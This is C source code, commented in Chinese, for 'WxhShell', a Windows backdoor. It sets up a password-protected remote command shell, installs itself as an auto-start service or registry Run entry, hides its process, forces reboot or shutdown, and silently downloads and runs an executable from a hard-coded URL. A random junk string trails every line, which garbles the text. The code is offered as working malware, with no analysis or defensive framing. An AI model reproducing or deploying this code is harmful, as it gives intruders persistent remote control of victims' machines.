    } )N.3Q1g-  
  // 关机 0L}`fYf  
  case 'd': { TU|#Pz7n-Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,GSiSn  
    if(Boot(SHUTDOWN)) +( LH!\{^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #-L0.z(  
    else { &~:EmLgv  
    closesocket(wsh); #u&fUxM:AS  
    ExitThread(0); +7.|1x;C  
    } KuR]X``2  
    break; zluq2r  
    } \BHZRytQF  
  // 获取shell ,r B(WKU  
  case 's': {  /YJo"\7  
    CmdShell(wsh); OyO<A3  
    closesocket(wsh); /~,*DH$)  
    ExitThread(0); Ao K9=F}  
    break; $kUB%\`  
  } [jgVN w""D  
  // 退出 hK?GIbRZ  
  case 'x': { "r^RfZ;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a%%7Ew ?  
    CloseIt(wsh); - Jaee,P  
    break; ZF7n]LgSc&  
    } g QBS#NY  
  // 离开 T+Yv5l  
  case 'q': { x^lc T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }qWnn>h9xv  
    closesocket(wsh); KI9Pw]]{-  
    WSACleanup(); 9PB%v.t5 y  
    exit(1); |f_'(-v`E  
    break; c.>f,vtcn  
        } >Na.C(DZ  
  } &M|rRd~*  
  } ^G!cv  
mV}bQ^*?Z  
  // 提示信息 xp|1yud  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Mq/Cf_T  
} t|U5]$5  
  } u`v&URM  
By1T um+I1  
  return; c7CYulm  
} .gO|=E"  
+$C9@CZM9  
// shell模块句柄 %R GZu\p  
int CmdShell(SOCKET sock) o*K7(yUL4  
{ 0>Y3xNb  
STARTUPINFO si; |k}<Zz1UM  
ZeroMemory(&si,sizeof(si)); K~:SLCv E%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4)iP%%JH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %pVsafV  
PROCESS_INFORMATION ProcessInfo; c/ Pql!h+  
char cmdline[]="cmd"; []>rYZ9bv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c/$].VG0  
  return 0; jf)cDj2  
} "M/c0`>C!i  
';R]`vWFe  
// 自身启动模式 QGN+f)  
int StartFromService(void) 2TGND-(j  
{ x-i,v"8  
typedef struct S(.J  
{ vjX,7NY?  
  DWORD ExitStatus; P5my]4|x  
  DWORD PebBaseAddress; #M!u';bZ  
  DWORD AffinityMask; %oiF} >  
  DWORD BasePriority; oG)T>L[&  
  ULONG UniqueProcessId; /Xi21W/  
  ULONG InheritedFromUniqueProcessId; 3P!OP{`  
}   PROCESS_BASIC_INFORMATION; Bw;isMx7  
l~$)>?ZD  
PROCNTQSIP NtQueryInformationProcess; q{h,}[U=  
!SuflGx,q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h; q&B9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %ddH4Q/p  
w10~IP  
  HANDLE             hProcess; |47t+[b   
  PROCESS_BASIC_INFORMATION pbi; ^p(aZj3k  
QtfL'su:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WWSycH ?[  
  if(NULL == hInst ) return 0; tQ@7cjq8bA  
$7YZ;=~B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gw)z*3]~s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bIm4s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4L>8RiiQE;  
e!J5h <:  
  if (!NtQueryInformationProcess) return 0; >r`O@`^U  
2#NnA3l]x%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yr'-;-u  
  if(!hProcess) return 0; Xc[ym  
IhzY7U)}T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #pZeGI|'J  
_1)n_P4  
  CloseHandle(hProcess); A@o7  
.4]XR/I$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A$p&<#  
if(hProcess==NULL) return 0; a=$ZM4Bn  
xDeM7L'  
HMODULE hMod; aNry> 2:  
char procName[255]; -`8@  
unsigned long cbNeeded; i\lvxbp  
~ 6=6YP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !{ *yWpZ:  
8^EWD3N`  
  CloseHandle(hProcess); cEf"m ?w  
;G`]`=s#Lq  
if(strstr(procName,"services")) return 1; // 以服务启动 H, 3Bf  
X.{xH D&_  
  return 0; // 注册表启动 gZ&4b'XS,  
} ^0"^  
W'"hjQ_  
// 主模块 uPl7u 1c  
int StartWxhshell(LPSTR lpCmdLine) m> +  
{ x .@O]}UH  
  SOCKET wsl; K 'I6iCrD  
BOOL val=TRUE; xJw" 8V<  
  int port=0; 3B;Gm<fJ9N  
  struct sockaddr_in door; l\0PwD  
[;hkT   
  if(wscfg.ws_autoins) Install(); kYCm5g3u  
V=fu[#<@Ig  
port=atoi(lpCmdLine); %@%rdrZ  
Q.9,W=<6  
if(port<=0) port=wscfg.ws_port; +o3n%( ^~  
{8mJ<b>VA  
  WSADATA data; }WJX Q@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T$mT;k  
N @_y<7#C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i|<wnJu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *CGHp8  
  door.sin_family = AF_INET; xj33g6S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d_(;sW"I  
  door.sin_port = htons(port); 8\E=p+C  
R6X2d\l#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8m H6?,@6  
closesocket(wsl); +Y*4/w[   
return 1; c|:EMYS  
} aNM*=y`  
Q0`@=5?-  
  if(listen(wsl,2) == INVALID_SOCKET) { }+lK'6  
closesocket(wsl); fFVQu\  
return 1; hQ>$ "0K  
} B t3++ Mj  
  Wxhshell(wsl); k6DJ(.n'%a  
  WSACleanup(); IM6n\EZ^  
f4\F:YT  
return 0; 1c/<2xO~  
i.^UkN{  
} [qxpu{  
GZ<@#~1%\  
// 以NT服务方式启动 p-"wY?q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "r;cH53  
{ E_ 30)"]  
DWORD   status = 0; qm#?DSLap  
  DWORD   specificError = 0xfffffff; j/O9LygB  
^{J^oZ'%~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <NDV 5P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 44n41.Q]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U1 3Lsky%  
  serviceStatus.dwWin32ExitCode     = 0; A"DGn  
  serviceStatus.dwServiceSpecificExitCode = 0; Y#):1C1  
  serviceStatus.dwCheckPoint       = 0;  })!-  
  serviceStatus.dwWaitHint       = 0; n9 bp0#K  
G~_eBy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L})fYVX  
  if (hServiceStatusHandle==0) return; G,6`:l  
|CQjgI|;  
status = GetLastError(); +R$;LtR  
  if (status!=NO_ERROR) k^JgCC+  
{ G@e;ms1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r.@UH-2c  
    serviceStatus.dwCheckPoint       = 0; q~18JB4WPJ  
    serviceStatus.dwWaitHint       = 0; 7^)yo#i4  
    serviceStatus.dwWin32ExitCode     = status; rY &lx}  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6_8yQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N1E9w:T`  
    return; i< imE#  
  } kyJKai  
p? +!*BZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZQR)k:k7  
  serviceStatus.dwCheckPoint       = 0; A$~H`W<yxB  
  serviceStatus.dwWaitHint       = 0; i+Ne.h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q}'<[Wg  
} @w%kOX  
[vBP,_Tjx  
// 处理NT服务事件,比如:启动、停止 tOF8v8Hd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kSJ;kz,_  
{ "a _S7K  
switch(fdwControl) @G=:@;  
{ x5#Kk.  
case SERVICE_CONTROL_STOP: [N*S5^>1  
  serviceStatus.dwWin32ExitCode = 0;  OvC@E]/+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MD;,O3Ge  
  serviceStatus.dwCheckPoint   = 0; 1*#hIuoj'  
  serviceStatus.dwWaitHint     = 0; mWoN\Rwj  
  { )abH//Pps.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &a >UVs?=  
  } yWN'va1+$  
  return; p&xj7qwp@F  
case SERVICE_CONTROL_PAUSE: SRHD"r^@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #~rQ\A!4  
  break; 7k#>$sY+  
case SERVICE_CONTROL_CONTINUE: ;$*tn"- ?~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KB\ri&bF  
  break; _=[pW2p  
case SERVICE_CONTROL_INTERROGATE: E^w0X,0XlE  
  break; P$O@G$n  
}; RT%{M1tkS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E-9>lb  
} ~T._ v;IT  
H11@ DQ6  
// 标准应用程序主函数 fA V.Mj-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VK%ExMSqEh  
{ PJKxh%J  
tOj5b 7'ui  
// 获取操作系统版本 :-2sKD y  
OsIsNt=GetOsVer(); a[=B?Bd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5P('SFq'=  
NP.qh1{NP  
  // 从命令行安装  j)mS3#cH  
  if(strpbrk(lpCmdLine,"iI")) Install(); # 5{lOeN  
Q\^BOdX^`  
  // 下载执行文件 tnX W7ej^  
if(wscfg.ws_downexe) { tuo'Uk)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :K \IS`  
  WinExec(wscfg.ws_filenam,SW_HIDE); tQMz1$  
} A,#z_2~  
vMXn#eR  
if(!OsIsNt) { 2{hG",JL  
// 如果时win9x,隐藏进程并且设置为注册表启动 d)%l-jj9,  
HideProc(); Me+)2S 9  
StartWxhshell(lpCmdLine); $reQdN=~  
} o}D7 $6  
else Ko0T[TNkh  
  if(StartFromService()) Ej@N}r>X  
  // 以服务方式启动 C0>)WVCK  
  StartServiceCtrlDispatcher(DispatchTable); Z 2uU'T  
else Hw#yw g  
  // 普通方式启动 Yk7^?W  
  StartWxhshell(lpCmdLine); =lh&oPc1  
} f!wQx b  
return 0; 7,{!a56zX  
} 4 tt=u]:  
AUU(fy#<  
b Sg]FBaW  
SwH#=hg  
=========================================== n>lQ:l~  
eYg0 NEq{  
iqTmgE-  
HM\}C.u  
[}l 1`>  
?zXlLud8  
" .6i +_B|  
${U H!n{  
#include <stdio.h> k~1{|HxrE  
#include <string.h> )B^T7{  
#include <windows.h> cPl$N5/5  
#include <winsock2.h> Kku@!lv  
#include <winsvc.h> wD<W'K   
#include <urlmon.h> 6A} 45  
%C >Win)g  
#pragma comment (lib, "Ws2_32.lib") PiX(Ase  
#pragma comment (lib, "urlmon.lib") |P"kJ45  
AIwp2Fz  
#define MAX_USER   100 // 最大客户端连接数 VB+y9$Y'  
#define BUF_SOCK   200 // sock buffer 1i|5ii*vc  
#define KEY_BUFF   255 // 输入 buffer U&gl$/4U@  
a3_pF~Qx  
#define REBOOT     0   // 重启 G7HvA46  
#define SHUTDOWN   1   // 关机 4=;`\-7!  
 %B#8  
#define DEF_PORT   5000 // 监听端口 {<Vw55)#0Q  
h`:gMhn  
#define REG_LEN     16   // 注册表键长度 'p,54<e  
#define SVC_LEN     80   // NT服务名长度 `9VRT`e  
wIQt f|ZI>  
// 从dll定义API )9rJ]D^B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DM !B@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y#Pg*C8>8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W'C~{}c=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?CuwA-j  
OxVe}Fym  
// wxhshell配置信息 2MKB (;k  
struct WSCFG { 9C1\?)"D^e  
  int ws_port;         // 监听端口 l9$"zEC  
  char ws_passstr[REG_LEN]; // 口令 [Kanj/  
  int ws_autoins;       // 安装标记, 1=yes 0=no oSs~*mf  
  char ws_regname[REG_LEN]; // 注册表键名 !o`h*G-x  
  char ws_svcname[REG_LEN]; // 服务名 #Bas+8 @,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LZ~}*}jy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 meyO=>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I6 Q{ Axy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qnv)\M1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nA#dXckoc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :\G`}_db'  
xR5zm %\  
}; "[\TL#/  
?xCWg.#l4V  
// default Wxhshell configuration #6Fc-ysk:  
struct WSCFG wscfg={DEF_PORT, 140_WV?7  
    "xuhuanlingzhe", c0:`+>p2  
    1, m3Rss~l  
    "Wxhshell", Ne2eBmY}(  
    "Wxhshell", -xU4s  
            "WxhShell Service", ,tHV H7[  
    "Wrsky Windows CmdShell Service", ywbdV-t/  
    "Please Input Your Password: ", 5+iXOs<   
  1, UJQGwTA W  
  "http://www.wrsky.com/wxhshell.exe", ;XGO@*V5T  
  "Wxhshell.exe" lyyR yFfQ  
    }; ^9?IS<N0]  
p#AQXIF0  
// 消息定义模块 kR;Hb3hb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QpMi+q Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; um1xSf1Xv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A#Jx6T`a  
char *msg_ws_ext="\n\rExit."; #?RT$L>n  
char *msg_ws_end="\n\rQuit."; i~EFRI@  
char *msg_ws_boot="\n\rReboot..."; MJI`1*(  
char *msg_ws_poff="\n\rShutdown..."; :0j_I\L  
char *msg_ws_down="\n\rSave to "; kTs.ps8ei  
%8g1h)F"S  
char *msg_ws_err="\n\rErr!"; 7F wo t&  
char *msg_ws_ok="\n\rOK!"; 05o 1  
wy4 }CG  
char ExeFile[MAX_PATH]; *TP>)o  
int nUser = 0; 45tQ$jr`1  
HANDLE handles[MAX_USER]; j.7BoV  
int OsIsNt; VPXUy=W  
4oRDvn7f&  
SERVICE_STATUS       serviceStatus; !"QvV6Lq\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xg1QF^  
aO$I|!tl  
// 函数声明 _ "H&  
int Install(void); p`06%"#  
int Uninstall(void); Lk1e{! a  
int DownloadFile(char *sURL, SOCKET wsh); v_e3ZA:%  
int Boot(int flag); c^EU &q{4  
void HideProc(void); F>s5<pKAX  
int GetOsVer(void); Fhk`qh'i  
int Wxhshell(SOCKET wsl); qO}Q4a+  
void TalkWithClient(void *cs); 9._owKj  
int CmdShell(SOCKET sock); FkY <I]F  
int StartFromService(void); X_2p C|C  
int StartWxhshell(LPSTR lpCmdLine); ) i=.x+Q  
f#b;s<G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ])NQzgS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aLt2fB1)  
4 oZm0  
// 数据结构和表定义 >K-S&Y  
SERVICE_TABLE_ENTRY DispatchTable[] = j )b[7%  
{ gano>W0  
{wscfg.ws_svcname, NTServiceMain}, i9j#Tu93 f  
{NULL, NULL} fu $<*Sa2  
}; <#F@OU  
TnQ"c)ta  
// 自我安装 X6SWcJtSw  
int Install(void) J>p6')Y6~  
{ ;dZuO[4\  
  char svExeFile[MAX_PATH]; B 42t  
  HKEY key; M A  
  strcpy(svExeFile,ExeFile); E]dmXH8A  
oA]rwa UX  
// 如果是win9x系统,修改注册表设为自启动 'nSo0cyQ  
if(!OsIsNt) { g=]VQ;{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VH7nyqEM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ![9um sx  
  RegCloseKey(key); Eohv P[i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r: M>/Z/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %+HZ4M+hV  
  RegCloseKey(key); db`L0JB  
  return 0; XsbYWJdds  
    } =a^}]k}  
  } :.aMhyh#*  
} \2!1fN  
else { 2v?fbrC5c  
 {Bw  
// 如果是NT以上系统,安装为系统服务 (rm*KD"]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M2lvD&  
if (schSCManager!=0) yr/G1?k%ML  
{ S^T ><C  
  SC_HANDLE schService = CreateService ]-"G:r  
  ( f O,5 u;  
  schSCManager, 7oV$TAAf  
  wscfg.ws_svcname, P+bA>lJd  
  wscfg.ws_svcdisp, !!?TkVyEyM  
  SERVICE_ALL_ACCESS, ~EtwX YkRZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a|eHo%Qt  
  SERVICE_AUTO_START, VMIX=gTZ  
  SERVICE_ERROR_NORMAL, 7-#   
  svExeFile, #Ic)]0L  
  NULL, y7~y@2  
  NULL, o&ETs)n|  
  NULL, +^|_vq^XR  
  NULL, Lv UQ&NmY  
  NULL T7~H|%  
  ); @L?KcGD  
  if (schService!=0) 7BkY0_KK  
  { RG_.0'5=hc  
  CloseServiceHandle(schService); I>JBGR`j  
  CloseServiceHandle(schSCManager); F<TIZ^gFP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #ADm^UT^  
  strcat(svExeFile,wscfg.ws_svcname); vb`R+y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ake@krh>$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 75^AO>gt   
  RegCloseKey(key); 5D eo}(3  
  return 0; ez<V  
    } 2"6bz^>}  
  } g5:?O,?  
  CloseServiceHandle(schSCManager); 'S%H"W\  
} {hFH6]TA  
} sOVU>tb\'  
L Q0e@5  
return 1; L Iz<fB  
} 7>lM^ :A  
.F},Z[a&  
// 自我卸载 [h63*&  
int Uninstall(void) Z7XFG&@6  
{ T.}Y&,n$$5  
  HKEY key; F.),|t$\  
s@IgaF {  
if(!OsIsNt) { Z\3~7Ek2m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {$g3R@f^~  
  RegDeleteValue(key,wscfg.ws_regname); {B-*w%}HU  
  RegCloseKey(key); ,&.$r/x|?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >#VNA^+t  
  RegDeleteValue(key,wscfg.ws_regname); LwYWgT\e  
  RegCloseKey(key); 1Li*n6tLX`  
  return 0; R*/s#*gmL  
  } F3[,6%4v  
} Q[{RN ab  
} 5]xSK'6W  
else { $[UUf}7L   
wJj:hA}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A `{hKS  
if (schSCManager!=0) Cxeam"-HTt  
{ ;5DDV6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UmR4zGM}  
  if (schService!=0) 2Qt!JXC  
  { # %EHcgF  
  if(DeleteService(schService)!=0) { 4Cv*zn  
  CloseServiceHandle(schService); (x fN=Te,-  
  CloseServiceHandle(schSCManager); ``%yVVg}  
  return 0; -9::M}^2  
  } k%BU&%?1  
  CloseServiceHandle(schService); NfUt\ p*  
  } ,u>[cRqw  
  CloseServiceHandle(schSCManager); Ec2;?pvd%J  
} !Au#j^5K-o  
} Q(36RX%@  
V';l H2  
return 1; d6W\ \6V  
} P ^ 4 @  
bQ(-M:  
// 从指定url下载文件 @fb"G4o`:  
int DownloadFile(char *sURL, SOCKET wsh) ^e =G} N^  
{ gB~^dv {  
  HRESULT hr; 2vWn(6`  
char seps[]= "/"; Q8MIpa!:  
char *token; 7Ja*T@ !h  
char *file; L&s$&E%  
char myURL[MAX_PATH]; Uo71C4ev  
char myFILE[MAX_PATH]; `BVmuUMm  
]f0OmUHR5i  
strcpy(myURL,sURL); 7i!VgV  
  token=strtok(myURL,seps); !I.}[9N  
  while(token!=NULL) '%82pZ,?  
  { Nte$cTjX  
    file=token; #*:^\z_Jd  
  token=strtok(NULL,seps); $xWUzg1<U  
  } Qe{w)e0}`  
`XpQR=IOMb  
GetCurrentDirectory(MAX_PATH,myFILE); 8CZ%-}-%$  
strcat(myFILE, "\\"); k/D{&(F ~  
strcat(myFILE, file); 5'c#pm\Q  
  send(wsh,myFILE,strlen(myFILE),0); 4Y$\QZO  
send(wsh,"...",3,0); !|up"T I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0EF~Ouef  
  if(hr==S_OK) (|F.3~Amq  
return 0; &7oL2 Wf  
else 7[w<v(Rc  
return 1; vFB^h1k~.M  
ZP5 !O[Ut  
} JJM<ywPGp  
2 rr=FJ  
// 系统电源模块 [orL.D]  
int Boot(int flag) [iEz?1.,  
{ }z x ~  
  HANDLE hToken; VX&PkGi?o  
  TOKEN_PRIVILEGES tkp; _bi)d201  
)Qd x  
  if(OsIsNt) { ddyX+.LMk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PO?_i>mA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r5Tdp)S  
    tkp.PrivilegeCount = 1; A4cOnG,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U(9_&sL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^:]$m;v]  
if(flag==REBOOT) { 6tndC o;`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,|B-Nq  
  return 0; H#DvCw  
} U!`iKy-  
else { B+snHabS6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !TJ,:c]4{!  
  return 0; C!a1.&HHZ7  
} 9&5<ZC-D  
  } ".tL+A[  
  else { Ff%V1BH[  
if(flag==REBOOT) { -X~mW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cf3!Ud  
  return 0; qS2Nk.e]o  
} Z sTtSM\Ac  
else { dw3Hk$"h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z8'1R6nq  
  return 0; M{Z ;7n'  
} m$kQbPlatN  
} lOk8VlH<h  
9MYk5q.X:  
return 1; =y4dR#R(\  
} b1Kt SRLV  
*Bq}.Yn  
// win9x进程隐藏模块 iBd6&?E?<  
void HideProc(void) %^pi  
{ XS[L-NHG  
Ch_rV+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7l=;I%  
  if ( hKernel != NULL ) [/UchU]DT  
  { *q*3SP/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Sgf jm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +t+<?M B  
    FreeLibrary(hKernel); :q]9F4im  
  } ^k;]"NR  
L meP J  
return; ba);f[>  
} 2t-w0~O  
^,acU\}VqP  
// 获取操作系统版本 NEIkG>\7q  
int GetOsVer(void) >F7w]XH  
{ >s f g`4  
  OSVERSIONINFO winfo; >H!Mx_fDL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )rD!4"8/A  
  GetVersionEx(&winfo); x8PT+KC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r8J7zTD&  
  return 1; #Ub_m@@ 4  
  else Z[oEW>_A  
  return 0; lUm(iYv;H  
} VN0We<\Z  
t?W}=%M[  
// 客户端句柄模块 {`QHg O  
int Wxhshell(SOCKET wsl) '6#G$  
{ (~=.[Y  
  SOCKET wsh; En?V\|,  
  struct sockaddr_in client; //U1mDFT  
  DWORD myID; ?)xIn)#l s  
h_vT A  
  while(nUser<MAX_USER) w +t@G`d  
{ hfaU-IPcFX  
  int nSize=sizeof(client); 2Wz8E2.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _\}'5nmw\  
  if(wsh==INVALID_SOCKET) return 1; d,V#5l-6  
,Of^xER`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O1J&Lwpk,  
if(handles[nUser]==0) q8v[u_(yD  
  closesocket(wsh); -3EQRqVg  
else b-&iJ &>'  
  nUser++; ;u UFgDi  
  } :8A+2ra&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ey&H?OFiP  
d;Vy59}eY  
  return 0; ~&i4FuK  
} ` p\=NP!n  
|h>PUt@LL  
// 关闭 socket J:L+q} A  
void CloseIt(SOCKET wsh) MzJCiX^  
{ AK2Gm-hHK  
closesocket(wsh); 6pt_cpbR  
nUser--; L*(9Hti  
ExitThread(0); p,Ff, FfH  
} l_vGp  
z8Q!~NN-K  
// 客户端请求句柄 Oj5UG*  
void TalkWithClient(void *cs) &O&HczO  
{ k$w~JO!s  
EKwQ$?I  
  SOCKET wsh=(SOCKET)cs; I0Pw~Jj{  
  char pwd[SVC_LEN]; lkn|>U[  
  char cmd[KEY_BUFF]; 0bg"Q4  
char chr[1]; 94u{k1d x  
int i,j; .+9hm|  
#z*,CU#S9d  
  while (nUser < MAX_USER) { H_DCdUgC'  
n~N>;m P  
if(wscfg.ws_passstr) { ]gk1q{Ql<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ze+YQ F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RP4/:sO  
  //ZeroMemory(pwd,KEY_BUFF); yB b%#GW  
      i=0; uJ !&T  
  while(i<SVC_LEN) { Ms{";qiG  
(vs<Fo|]  
  // 设置超时 *'< AwG&  
  fd_set FdRead; M!UTqf7XL  
  struct timeval TimeOut; 2Je $SE8  
  FD_ZERO(&FdRead); pP. _%5  
  FD_SET(wsh,&FdRead); d7OygDb<  
  TimeOut.tv_sec=8; $)i`!7`4=  
  TimeOut.tv_usec=0; c/;;zc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oL<#9)+2*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )ZG;.j  
3o<d= @`r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )dXa:h0RZ  
  pwd=chr[0]; _bFUr  
  if(chr[0]==0xd || chr[0]==0xa) { M";qo6  
  pwd=0; p4' .1.@  
  break; {VgE0 7r  
  } IC`3%^  
  i++; #2{-6ey  
    } |3*9+4]a  
jjs/6sSRk  
  // 如果是非法用户,关闭 socket sVLvnX,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9 BCW2@Kp  
} =kjKK  
1 ^~&"s U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bjZJP\6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 067c/ c  
z5+Pi:1w  
while(1) { +HK4sA2;  
a~$XD(w^  
  ZeroMemory(cmd,KEY_BUFF); yk+ 50/L  
9mF '   
      // 自动支持客户端 telnet标准   K`4rUEf}V"  
  j=0; (!~cO x   
  while(j<KEY_BUFF) { S* h52li  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h3ygL"k  
  cmd[j]=chr[0]; jh5QIZf=  
  if(chr[0]==0xa || chr[0]==0xd) { NVyBEAoh  
  cmd[j]=0; w_9^YO! !  
  break; C"hN2Z!CD|  
  } @KN+)qP  
  j++; #lYyL`B+~  
    } P*|N)S)X%  
q!Du J  
  // 下载文件 A~zn;  
  if(strstr(cmd,"http://")) { cG|fau<G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U( YAI%O  
